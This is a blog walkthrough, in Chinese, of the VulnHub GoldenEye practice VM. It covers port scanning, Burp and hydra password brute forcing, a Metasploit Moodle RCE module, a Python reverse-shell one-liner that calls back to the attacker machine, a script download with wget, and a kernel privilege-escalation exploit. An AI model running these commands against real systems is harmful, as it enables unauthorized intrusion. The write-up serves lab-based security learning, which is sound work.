【vulhub靶场】GoldenEye

已于 2023-04-04 10:55:00 修改
阅读量845 收藏 1
点赞数
分类专栏： # 红队靶场 文章标签： 网络安全 vulhub pop3 内核提权
于 2023-04-04 10:50:20 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_53009585/article/details/129916270
版权

文章目录

概述

环境搭建

vulhub官网：https://www.vulnhub.com/entry/goldeneye-1,240/
百度云盘：https://pan.baidu.com/s/1nUb9NwtZkmgPcEbt7jWfXQ?pwd=90lq
靶机：10.10.10.155
kali ：10.10.10.146

关于复现，我把所有的试错过程也直接写上出了，尽管对于最终获得flag步骤有点多余

关键词

主机发现、端口扫描、服务发现、js泄露、服务爆破、漏洞利用、本地提权、攻击代码修改

信息打点

arp-scan(利用arp地址解析协议)进行快速局域网内存活主机探测)
在这里插入图片描述
发现存活主机后使用nmap(扫的慢、更准确)进行仔细扫描

nmap -sS -sV -T5 -A 10.10.10.155

关于nmap参数
-sS：使用 TCP SYN 扫描
-sV：探测开放端口以确定服务版本信息
-T5：使用激进的时间设置加快扫描速度
-A：启用操作系统检测、版本检测、脚本扫描和跟踪路由

在这里插入图片描述
开放25端口邮箱传输协议与80(2.4.7版本Apache)端口

两种思路：

smtp协议可以直接利用获取对方主机权限吗？(靶机大几率不会让你直接拿到主机权限)
还是通过web服务一步一步来进行渗透？

Web渗透

两种思路

弱口令？
Apache 2.4.7版本历史漏洞能否利用成功？

Apache历史漏洞

在这里插入图片描述
这里应该补上一些尝试过程的……

Tomcat弱口令

在这里插入图片描述
页面提示到/sev-home目录下登陆
老规矩先尝试几个弱口令：admin/admin、admin/admin123……当然是都没有成功
打开burp抓一下登录包
在这里插入图片描述
Get传参，头部含有Authorization字段，Basic后面跟的应该是Base64编码的账号密码
在这里插入图片描述

Tomcat弱口令爆破

经典Tomcat账号密码传输形式，尝试使用Burp Intruder模块进行暴力破解
攻击类型为sniper方式，Payload类型为Custom iterator
position1为用户名，position2为 :(英文半角)，position3为密码
自定义组装后，使用Payload Processing进行base64编码
在这里插入图片描述
取消下方的Payload Enoding,直接开始攻击
在这里插入图片描述
爆破了两万多条，然并卵，会不会是前端js源码啥的泄露密码呢？

前端泄露

10.10.10.155 JS代码外部引用了terminal.js与index.css。
在terminal.js文件中有一段被注释的留言暴露了用户名以及加密的密码
在这里插入图片描述
这里一眼html编码，拿去进行解密(InvincibleHack3r)，以及可能存在的用户名Boris、Natalya
html在线解码网站：https://www.lddgo.net/convert/htmlencode
使用boris/InvincibleHack3r登陆成功

POP邮箱利用

邮件钓鱼？

在这里插入图片描述
登陆后提示发送邮件给GNO主管，to become(主动成为GoldenEYe的管理员)大几率是通过邮件钓鱼的方式获取(靶机模仿admin进行自动打开邮箱)
通过提示的POP3服务运行在高端口上，重新对靶机进行全端口扫描

nmap 10.10.10.150 -p-

在这里插入图片描述
发现存在55006与55007端口，使用nmap仔细对该服务进行探测

nmap 10.10.10.155 -sS -sV -T5 -A -p55006,55007 10.10.10.155

在这里插入图片描述
这里确实存在pop3服务，但是我对pop3协议不熟悉啊，不能直接通过网页访问该服务啊，也不知道怎么利用，于是直接在网上扫pop3协议怎么利用
在这里插入图片描述

POP3爆破

概述：POP3，全名为“Post Office Protocol - Version 3”，即“邮局协议版本3”。是TCP/IP协议族中的一员，由RFC1939 定义。它被用户代理用来邮件服务器取得邮件。POP3采用的也是C/S通信模型
默认端口：110

nc -nv 10.10.10.155 55006-55007	#banner信息获取

在这里插入图片描述

nmap -p 55007 -sC "pop3-capabilities or pop3-ntlm-info" -sV 10.10.10.155

在这里插入图片描述
结合之前的拿到的弱口令，使用hydra进行POP3服务暴力破解

hydra -s PORT -l USERNAME -p PASSWORD -e nsr -t 22 IP pop3
hydra -s PORT -L USERNAME_LIST -P PASSWORD_LIST -e nsr -t 22 IP pop3

PORT：pop3服务所用端口号
USERNAME：单个用户名
PASSWORD：单个密码
USERNAME_LIST：用户名文件
PASSWORD_LIST：密码文件
IP：pop3服务器地址

echo -e 'natalya\nboris' > pop3_users.txt	#-t是制表符 -n是换行
hydra -s 55007 -L pop3_users.txt -P /usr/share/wordlists/fasttrack.txt -t 22 10.10.10.155 pop3

在这里插入图片描述
爆破出两条账号

[55007][pop3] host: 10.10.10.155 login: natalya password: bird
[55007][pop3] host: 10.10.10.155 login: boris password: secret1!

命令行登陆POP邮箱

pop相关命令命令

POP commands:
USER whgojp          	使用账号whgojp登陆
PASS password    		输入密码			 
STAT              		获取邮件服务器上的邮件数量和总大小
LIST             		列出所有邮件及其大小。如果指定了消息号，则只显示该消息的大小
RETR n            		检索消息号为n的邮件的全部内容
DELE n            		删除邮件n
RSET             		撤销任何更改，恢复到初始状态
QUIT            		退出
TOP msg n         		显示消息号为msg的邮件的前n行用于查看邮件的标题行
CAPA              		获取服务器支持的能力列表

telnet方式
telnet IP PORT

IP：pop服务所用IP
PORT：pop服务所用端口号

在这里插入图片描述

nc方式
nc IP PORT

IP：pop服务所用IP
PORT：pop服务所用端口号

查看邮件内容，寻找有用信息
使用boris/secret1!登陆
第一封邮件来自admin：From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I’m not going to scan emails for security risks because I trust you and the other admins here.
第二封邮件来自natalya：From: natalya@ubuntu
Boris, I can break your codes!
第三封邮件来自alec：From: alec@janus.boss
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages…
PS - Keep security tight or we will be compromised.
在这里插入图片描述
使用natalya/bird登陆
第一封邮件来自root：From: root@ubuntu
Natalya, please you need to stop breaking boris’ codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.
Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
第二封邮件来自root：From: root@ubuntu
Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it’s related to security…even if it’s not, just enter it in under the guise of “security”…it’ll get the change order escalated without much hassle 😃
Ok, user creds are:
username: xenia
password: RCP90rulez!
Boris verified her as a valid contractor so just create the account ok?
And if you didn’t have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network…
Since you’re a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

整理一下：

用户名：xenia
密码：RCP90rulez!
域：severnaya-station.com
网址：severnaya-station.com/gnocertdir
根据邮件提示添加本地域名：severnaya-station.com

绑定本地host

在本地kali host文件中添加域名解析

echo "10.10.10.155 severnaya-station.com" >> /etc/hosts	#这里我一开始写入host文件，怎么ping都不对 emmm

在这里插入图片描述
如果ping severnaya-station.com/gnocertdir 还是公网地址的话，可能是本地DNS服务器没有更新或者缓存了旧的 DNS 映射。
尝试清除DNS缓存 sudo systemctl restart systemd-resolved

关于linux下/etc/hosts 文件与 /etc/resolv.conf文件的区别

相同点：这两个文件都是Linux系统中用于管理网络配置的文件，但它们各自有不同的作用和功能。
/etc/hosts: /etc/hosts文件是一个本地的 DNS 解析器。它包含了计算机的主机名与 IP 地址的映射关系，可以被用来手动地解析主机名到指定的 IP 地址上。当在浏览器或其他应用程序中输入主机名时，计算机首先会检查 /etc/hosts 文件来查找相应的 IP地址映射。如果该文件中没有找到匹配的映射，则系统将查询其他 DNS 服务器以获取正确的 IP 地址。
/etc/resolv.conf: /etc/resolv.conf 文件指定了计算机使用的 DNS服务器地址。该文件是由域名解析器（resolver，一个根据主机名解析IP地址的库）使用的配置文件
该文件是DNS域名解析的配置文件，它的格式很简单，每行以一个关键字开头，后接配置参数。
resolv.conf的关键字主要有四个，分别是：
nameserver #定义DNS服务器的IP地址
domain #定义本地域名
search #定义域名的搜索列表
sortlist #对返回的域名进行排序
总之，/etc/hosts 文件用于本地 DNS 解析，而 /etc/resolv.conf 文件则用于配置系统使用的 DNS 服务器。
详见：https://www.cnblogs.com/yjiajia/p/13180959.html

Web渗透2

在这里插入图片描述

在首页看到了关键词moodle，一个PHP的开源CMS，

使用whatweb工具也是可以的

whatweb severnaya-station.com/gnocertdir

whatweb常用命令

whatweb 域名													#常规扫描
whatweb -i /root/target.txt									#批量扫描
whatweb -v 域名												#详细回显扫描
whatweb有一个-aggression（简写为-a）参数，此参数后边可以跟数字1-4，分别对应4个不同的等级。
1、stealthy 每个目标发送一次http请求，并且会跟随重定向
2、unused 不可用（从2011年开始，此参数就是在开发状态
3、aggressive 每个目标发送少量的http请求，这些请求时根据参数为1时结果确定的
4、heavy 每个目标会发送大量的http请求，会去尝试每一个插件
whatweb -a 等级 域名 （可以和-v参数结合使用）					#注：默认参数为1
whatweb --no-errors -t 255 内网网段 （可以和-a和-v参数结合使用）#快速本地扫描（扫描内网主机）
whatweb http://www.baidu.com --log-xml=baidu.xml			#将扫描结果导出至文件内

两种思路：

1、直接找关于moodle历史漏洞(尝试匹配版本进行利用)

在这里插入图片描述
在这里插入图片描述
尝试找最近的高危漏洞来对这个18年的靶场进行降维打击
当然是找直接拿shell的高危漏洞(最好是无条件利用)
这里试了一遍发现除了第0个不需要admin的密码，其他都需要管理员密码，但是第一个是针对3.x版moodle
在这里插入图片描述
意思就是还要获取admin的密码，不过这里还是有收获的得到了cms的版本号
……

2、通过登陆前面泄露的用户进行登陆，翻一翻有用的信息

在这里插入图片描述
邮件内容：欢迎 Xenia 成为 GoldenEye 培训中的新承包商，并提供一些联系信息和指示
在这里暴露了用户doak
接着对pop3服务进行爆破，顺便添加可能存在的admin用户
在这里插入图片描述

hydra -s 55007 -L pop3_users.txt -P /usr/share/wordlists/fasttrack.txt -t 22 10.10.10.155 pop3

在这里插入图片描述
使用doak/goat登录pop3服务读取邮件内容(枚举)
James,
If you’re reading this, congrats you’ve gotten this far. You know how tradecraft works right?
Because I don’t. Go to our training site and login to my account…dig until you can exfiltrate further information…
username: dr_doak
password: 4England!

在这里插入图片描述
使用该账号与密码登录后，发现s3cret.txt文件，提示一张图片的位置，进行拼接url
这里直接迷了，我以为图片直接给出admin的账号密码啥的
……
网上说是关于图片隐写方面的，不禁的勾起了我痛苦的CTF回忆

根据邮件提示让我们检查图片内容，下载图片后，可以使用：
binwalk（路由逆向分析工具）
exiftool（图虫）
strings（识别动态库版本指令）
等查看jpg文件底层内容

exiftool for-007.jpg
strings for-007.jpg

我这里使用的是winhex
在这里插入图片描述
获取到admin的密码之后，登陆邮箱，这里其实就可以直接利用前面的msf RCE漏洞了
管理员用户身份登陆邮箱应用程序
admin/xWinter1995x!
在这里插入图片描述
获取到之前收集的用户名以及moodle的版本号2.2.3与之前msf探测的2.2版本基本相符

MSF&反弹shell

漏洞利用

1  exploit/multi/http/moodle_spelling_binary_rce                 2013-10-30       excellent  Yes    Moodle Authenticated Spelling Binary RCE

use 1
set username admin              
set password xWinter1995x!      
set rhost severnaya-station.com  
set targeturi /gnocertdir  
set payload cmd/unix/reverse     
set lhost 10.10.10.146          
run

在这里插入图片描述
很遗憾这里并没有获得shell，通过info命令查看该exp利用的环境条件
在这里插入图片描述
根据reference提示链接获取一些信息
其中在https://packetstormsecurity.com/files/164479/Moodle-Authenticated-Spelling-Binary-Remote-Code-Execution.html

这个网站有很多EXP源码，整理的非常好
在这里插入图片描述
在这里插入图片描述
查了一些资料之后发现邮箱需要修改执行PSpellShell
使用admin登陆邮箱在设置中
Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor
PSpellShell后save
在这里插入图片描述
重新exploit一下，得到shell
在这里插入图片描述
查看当前目录，用户权限，是否有内网等信息
在这里插入图片描述尝试去找flag文件
在这里插入图片描述
显然普通用户权限是不能读取到的，需要进一步提权

反弹shell

现在获得的shell并不是交互式，为了方便提权操作，将一个无 TTY 的 shell 转换为一个带有 TTY 的交互式 shell

什么是TTY

TTY 是一个缩写，代表着 Teletype，它是一种早期的文字终端设备。在计算机早期，TTY是用于与计算机交互的主要方式之一，用户可以通过键盘输入指令并在屏幕上看到计算机的响应。
如今，TTY通常被用来描述一个连接到终端设备的进程或会话。TTY 可以在本地终端、SSH 连接、串口连接等各种情况下使用，它提供了一个交互式shell 界面，让用户可以在终端上执行命令和程序，查看输出，并进行其他操作。
在 Linux/Unix 系统中，TTY
有时也被称为控制台，可以通过 /dev/tty 文件路径来表示当前 TTY 设备。例如，如果您打开了一个终端窗口并在其中运行了一个shell，那么该 shell 将被分配到一个 TTY 设备上。

无 TTY 的 shell 与带有 TTY 的交互式 shell区别

无 TTY 的 shell 是指一个没有任何输入/输出控制终端的命令行环境，它只能接受标准输入和输出，而不能像交互式 shell 一样与用户进行实时的交互。
带有 TTY 的交互式 shell 则是具有输入/输出控制终端的 shell，它可以直接与用户进行实时的交互，并且支持包含命令补全、上下键翻阅历史命令等高级功能。
将无 TTY 的 shell 转换为带有 TTY 的交互式 shell，以便更方便地与目标系统进行交互和执行操作

转换为交互式shell

查看是否有tty

tty
python -c 'import pty; pty.spawn("/bin/bash")'     ---将shell进行tty

因为linux自带python2环境，所以使用python执行
在这里插入图片描述
在这里插入图片描述

python反弹shell

msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 7777
msf6 exploit(multi/handler) > exploit

因为msf比较方便。所以将shell转交至msf中

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.146",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

== Upgrade Command Shell to Meterpreter==在这里插入图片描述
试了一下getsystem当然没有成功 emmm

权限提权

uname -a		#查看内核版本
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

上传les.sh漏洞检测脚本
在kali上开启htpp服务

#kali
python3 -m http.server 80
#靶机
wget 10.10.10.146/les.sh	shell状态下下载
chmod +x les.sh
./les.sh

在这里插入图片描述在这里插入图片描述
这里使用脏牛漏洞，当然还有其他内核漏洞可以使用
适用范围：2.6.22<内核版本<3.9
通过编译器类型枚举，发现靶场没有gcc编译器，存在clang编译器

gcc --version   
clang --version		#效果同cc --version

这里像上次一样，我还是没有成功利用脏牛漏洞，编译的时候还是有问题，这里还是使用的上篇文章中利用的CVE-2015-1328(在les.sh脚本中同样有探测到)
同样需要修改为cc编译
在这里插入图片描述
正常编译还是会报错，但是不影响使用
在这里插入图片描述
新建root权限会话
在这里插入图片描述
在这里插入图片描述
这里也是成功拿到flag
在这里插入图片描述

总结

缺少对弱口令的敏感性，靶机逻辑性太强，和CTF差不多，对POP邮件服务不熟悉，关于linux内核漏洞掌握不太好，当然还是学到不少东西的

																			2023-04-04  留念 By whgojp
今天是 几号
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
goldeneye-50.zip
04-26
STK官方模型，非安装文件自带的，模型丰富。先在我上传的资源中下载STK models目录，然后在我上传的资源中找相应的模型。经测试，从STK8.0到STK11都可用。本资源为模型，分类air。
GoldenEye-master
05-09
GoldenEyedos是一款十分强的的dos工具，特别是对于一些中小型网站。
【甄选靶场】Vulnhub百个项目渗透——项目一：GoldenEye（密码爆破，图片逆向分析，内核提权）
xnxqwzy的博客
07-29 2672
本文章仅用作实验学习，实验环境均为自行搭建的公开vuinhub靶场，仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录，不做任何导向。请勿在现实环境中模仿，操作。1.密码爆破(九头蛇)2.图片逆向分析(binwalk（路由逆向分析工具）exiftool（图虫）strings（识别动态库版本指令）)3.内核提权（没有gcc的环境的替代方法）
vulnhub靶场——GOLDENEYE: 1 渗透记录
ShenZ的博客
02-10 1965
vulnhub—GOLDENEYE: 1 vulnhub靶场——GOLDENEYE: 1 渗透记录 About Description 一、信息搜集 二、网站渗透 三、Moodle漏洞利用
vulnhub-GoldenEye靶机通关（超详细）
weixin_53730939的博客
12-27 910
vulnhub-GoldenEye靶机通关（超详细）
GoldenEye-v1靶场
qq_35355737的博客
06-05 1653
GoldenEye-v1靶场
vulnhub靶机GoldenEye实战（记录向）
kiwi的博客
02-01 340
接着我就去乱翻，翻到了一份邮件，是doak用户给我的。其实在另外一边我也尝试了搞25端口，因为我从来没有搞过25端口，按照老办法就是将扫描到的版本信息进行漏洞搜索，先问问度娘postfix smtp有什么漏洞，期间我查阅了大量资料，发现有一个漏洞可以进行邮件伪造，结合上面登录成功后的提示信息，我怀疑可能需要发送邮件给GNO，但是我哪里知道它的邮箱是什么，于是便在网上查阅信息，能否有一种方案能够通过ip发送，无奈，没有。我们改好了hosts文件，尝试访问登录，看起来像cms，但是我不确定，上。
【愚公系列】2023年06月 网络安全高级班 103.CTF黑客比赛（GoldenEye靶机）
时光隧道
06-06 4176
GoldenEye靶机是一款基于攻击性的虚拟机，旨在帮助安全研究人员和网络管理员测试和评估网络和系统的安全性。该靶机基于James Bond电影GoldenEye，提供了各种不同的网络安全场景和漏洞，包括Web应用程序漏洞、网络协议漏洞和系统配置问题等。使用这个靶机可以帮助安全专家了解攻击者的思维方式，提高他们在应对实际攻击时的技能和能力。
1、GoldenEye-靶机-百个项目计划
最新发布
Labi的博客
01-14 1047
大家好，因为自己是一个刚入门网安不久的新人，现在想通过打一些靶机来进行学习，这里的计划是通过百个项目来进行实操，巩固自己的基础。发文也是记录一下自己的开始，文章会写的比较详细，让0基础的小白跟着做也会。本文仅用于技术讨论与研究，如用作非法用途作者概不负责。GoldenEye也是我们新手入门必打靶机，那我们就开始进入正文吧。
GoldenEye-master.zip
06-21
著名DDoS工具，用于网络攻防DDoS研究，仅供学术交流，切勿用于其他用途
VulnHub之GoldenEye靶场（2）
p_utao的博客
02-19 224
靶场信息： 地址：https://www.vulnhub.com/entry/goldeneye-1,240/ 难度：简单 目标：root目录下flag.txt 文件 运行：VirtualBox（网络桥接） 信息收集 老规矩上来先扫描端口 常见端口开放25、80、110端口，访问网站，爆下目录（无果），随便爆破一下25端口的弱口令（无果） 中间件：apache 然后通过上面得提示访问/sev-home/这个目录，有登陆但是没有密码，这里我打算爆破来着，f12源代码里面有 有趣得对话，这里莫非是让
vulhub黄金眼靶机
m0_73765543的博客
12-28 192
好的，娜塔琳，我有一个新的学生给你。由于这是一个新系统，如果您看到任何配置问题，请告诉我或鲍里斯，尤其是它与安全性有关......即使不是，也只需打着“安全”的幌子输入即可......它会毫不费力地升级变更单:) 好的，用户信条是： 用户名： 森雅 密码：RCP90规则！鲍里斯验证她是有效的承包商，所以只需创建帐户即可？这里有一些多汁的东西：/dir007key/for-007.jpg 此外，您可能知道，RCP-90 远远优于任何其他武器，杀戮许可证是唯一的游戏方式。转到我们的培训网站并登录到我的帐户。
【靶机渗透】GoldenEye靶机渗透练习
serendipity1130的博客
08-30 649
1.主机发现：arp-scan -l，发现靶机ip为192.168.225.153 2.扫描端口，开启了55007端口为pop3服务 nmap 192.168.225.153 -sV -sC -Pn -n -v -T5 -p- 3.访问网址，查看源代码，发现terminal.js，进行访问发现两个用户名：boris和Natalya 进行unicode解码，获得密码：InvincibleHack3r 4.尝试登录：http://192.168.225.153/sev-home/ 5..
vulnhub靶场{GoldenEye-v1靶场实战}
AerYinan的博客
02-10 3327
vulnhub靶场{GoldenEye-v1靶场实战}
vulnhub靶场GoldenEye靶场
zzzzzzkeai的博客
11-17 224
vulnhub靶场GoldenEye靶场
记一次GoldenEye靶场渗透测试过程
c_programj的博客
09-16 1447
记一次GoldenEye靶场渗透测试过程 靶场下载连接： 链接：https://pan.baidu.com/s/1qSU-0h8S-HyV-tkhGvCe3A 提取码：n2hq 下载完成之后，在VMware直接打开虚拟机，选择该.ova文件即可。 KALI攻击机：192.168.43.126 GoldenEye靶机：192.168.43.27 一、信息收集 1、使用nmap进行信息收集，查找同网段下的主机：namp -sP 192.168.43.0/24 Nmap -sP 扫描所在网段存货主机（可以扫到所在
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8172
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
Linux系统下的ddos攻击
05-11
3. GoldenEye：一个Python编写的HTTP DoS测试工具，可以用于向目标服务器发送大量HTTP请求，从而导致服务器宕机。 为了防止这种攻击，可以采取以下措施： 1. 安装防火墙：防火墙是保护网络免受未经授权访问和攻击...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值